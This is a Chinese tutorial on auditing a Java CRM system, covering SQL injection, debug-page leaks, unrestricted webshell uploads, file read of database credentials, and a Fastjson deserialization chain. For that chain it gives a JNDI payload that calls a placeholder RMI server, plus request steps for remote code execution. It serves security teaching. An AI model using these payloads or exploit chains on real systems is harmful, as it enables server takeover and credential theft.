某CRM系统代码审计实战教学文档
1. 信息收集与项目概览
在开始代码审计之前,对目标项目进行基础信息收集是至关重要的第一步,这决定了后续审计的策略和方向。
- 技术框架: 目标系统为非基于Maven构建的传统Java Web项目。虽然其代码结构在某些地方“形似”Struts2框架,但并非真正的Struts2项目,因此在审计时不应直接套用Struts2特有的漏洞模式(如S2系列漏洞)。
- 路由机制: 系统的URL路由设计与项目的物理文件目录结构高度一致。这意味着前端访问的
/path/to/some.jsp路径,通常对应着服务器上webapp目录下的/path/to/some.jsp文件。这种设计使得通过URL推测后端代码位置变得相对容易。 - 审计策略: 鉴于其非框架、无依赖管理的特性,传统的关键字全局搜索将成为最直接、最有效的漏洞挖掘手段。
2. 核心鉴权机制分析
在审计具体功能点前,必须首先理解系统的安全校验逻辑,以判断漏洞触发的前提条件(前台/后台)。
- 代码定位: 鉴权逻辑是审计的基石。通过分析,发现系统采用了一种简单的Session验证方式。
- 核心代码:
com.metasoft.framework.pub.util.UserState us = com.metasoft.framework.model.users.UserManager.getUserBySessionId(session.getId()); if (us != null) { ress = us.getRess(); } else { response.sendRedirect("/index.jsp"); // 未登录则重定向到登录页 return; } - 机制解读: 代码从当前Session中尝试获取用户信息对象(
UserState)。如果获取结果为null,则直接中断当前请求并跳转至登录页面。 - 审计应用: 这是一个全局性的鉴权方案。在审计任何JSP接口时,只需检查其开头是否包含此段代码或类似的Session验证逻辑。
- 存在该代码: 漏洞为后台漏洞,需要有效的用户会话(Cookie)才能利用。
- 不存在该代码: 漏洞为前台漏洞,无需登录即可利用,危害更大。
3. 漏洞详情分析与利用
3.1. 前台SQL注入漏洞
- 漏洞文件:
/si/callcenter/solarun/mcc_login.jsp - 漏洞成因: 在该JSP文件中,用户输入的参数被直接拼接至SQL查询语句中,未经过任何过滤或预编译处理。
- 危险方法: 使用了一个自定义的
DBManager.getArray(String sql)方法。 - 代码分析: 跟进
com.metasoft.framework.db.DBManager类,可发现getArray方法内部直接使用Statement.executeQuery(sql)执行传入的SQL字符串,是典型的SQL注入漏洞sink点。 - 利用条件: 根据该JSP文件是否包含鉴权代码来判断是前台还是后台注入。
3.2. 前台敏感信息泄露漏洞
- 漏洞文件:
/env.jsp,/debug.jsp - 漏洞成因: 这些页面通常用于显示系统环境信息、配置参数、调试日志等。在生产环境中,如果未被正确禁用或移除,攻击者直接访问即可获取大量敏感信息,如数据库连接池配置、服务器路径、系统变量等,为后续攻击提供情报。
3.3. 前台Fastjson反序列化漏洞 & 后台任意文件读取 (组合利用)
这是一个利用链较长的复杂漏洞,危害极大。
-
入口文件:
/business/common/download.jsp -
参数:
p -
触发流程:
- 该JSP接收参数
p,并将其传递给com.metasoft.framework.pub.download.AnalyzeParam类进行处理。 - 在
AnalyzeParam中,参数p的值会先被一个名为AesEcbCipher的类进行AES解密。 - 关键点: AES的密钥在代码中被硬编码,这意味着攻击者如果能够找到或逆向出该密钥,就可以自主构造加密后的恶意payload。
- 解密后的数据被当作JSON字符串,并使用了
JSON.parseObject(jsonStr, Object.class)进行解析。此处的Fastjson版本存在反序列化漏洞,攻击者可以构造恶意JSON数据,利用JNDI注入等方式实现RCE。
- 该JSP接收参数
-
利用步骤 (POC):
- 准备一个恶意的RMI服务(可使用工具如
jndi_tool)。 - 构造一条能触发JNDI注入的Fastjson payload,例如:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your-rmi-server/exploit", "autoCommit":true} - 使用硬编码的AES密钥,将上述JSON payload加密。
- 将加密后的Hex字符串作为
p参数的值,发起请求:http://target/business/common/download.jsp?p={加密后的payload} - 成功触发后,服务器会向指定的RMI服务发起请求并执行恶意代码。
- 准备一个恶意的RMI服务(可使用工具如
-
组合漏洞: 任意文件读取
- 同一个
download.jsp接口,如果传入的p参数解密后不是JSON格式,可能会走入其他分支逻辑,导致任意文件读取。 - 利用此功能需要绝对路径。可通过之前发现的
/env.jsp信息泄露漏洞获取路径信息,然后读取如/env/conf/dbinfo.prop等配置文件,直接获取数据库 credentials。
- 同一个
3.4. 多处任意文件上传漏洞
该系统存在大量文件上传功能点,且多数校验不严。根据鉴权情况,分为前台和后台漏洞。
-
通用漏洞成因:
- 文件上传后,服务器端对文件后缀名未做任何有效的白名单过滤。
- 文件保存路径和文件名虽经部分处理(如使用UUID重命名),但最终都是通过
saveAs()等方法直接拼接路径保存,存在风险。
-
漏洞文件列表:
- 前台上传 (无需登录):
/sendfile.jsp/sendsms.jsp(注:原文此处标注需合法Cookie,可能存在歧义,需实际验证)/common/jsp/upload.jsp/mobile/mobileupload.jsp
- 后台上传 (需登录):
/common/jsp/upload2.jsp: 此文件不仅有无校验上传功能,还包含一个文件删除功能(参数strType=delete和titlevalue=文件路径),进一步增加了安全隐患。/develop/systparam/softlogo/upload.jsp
- 前台上传 (无需登录):
-
保存路径分析:
以sendfile.jsp使用的com.metasoft.framework.pub.util.Path.getUserFile()为例,文件最终保存在/userfile/default/temp/[UUID].[原后缀]。攻击者上传Webshell(如.jsp)后,只需访问此路径即可触发。
4. 审计技巧总结
-
关键词搜索: 这是审计此类项目最核心的方法。应搜索的关键字包括:
SQL:Statement,executeQuery,getArray,拼接- 文件上传:
upload,saveAs,File,InputStream,OutputStream - 文件读写:
FileInputStream,FileOutputStream,read,write,delete - 反序列化:
JSON.parse,JSON.parseObject,ObjectInputStream,readObject - 执行命令:
Runtime.exec,ProcessBuilder,start - 重定向:
sendRedirect,forward
-
鉴权判断: 每找到一个可疑sink点,第一时间检查文件首部的鉴权代码,明确漏洞利用条件,评估其实际危害等级。
-
数据流追踪: 对于像Fastjson漏洞这类需要参数传递和加解密的复杂漏洞,要学会在IDE中追溯参数的来源、传递过程和处理函数(如
AnalyzeParam和AesEcbCipher),理清完整的利用链。 -
组合利用: 单个漏洞的利用可能受限(如需要绝对路径),但将多个漏洞组合起来(如信息泄露 + 文件读取、文件上传 + 文件删除)往往能达成更佳的攻击效果。
5. 结论
该CRM系统是一个非常适合代码审计初学者入门的项目。其结构清晰,漏洞模式传统且典型,涵盖了SQL注入、敏感信息泄露、反序列化、文件上传/读取/删除等Web安全中常见的漏洞类型。通过本次审计实战,可以很好地训练快速定位漏洞、分析成因、追踪利用链、判断利用条件的综合能力。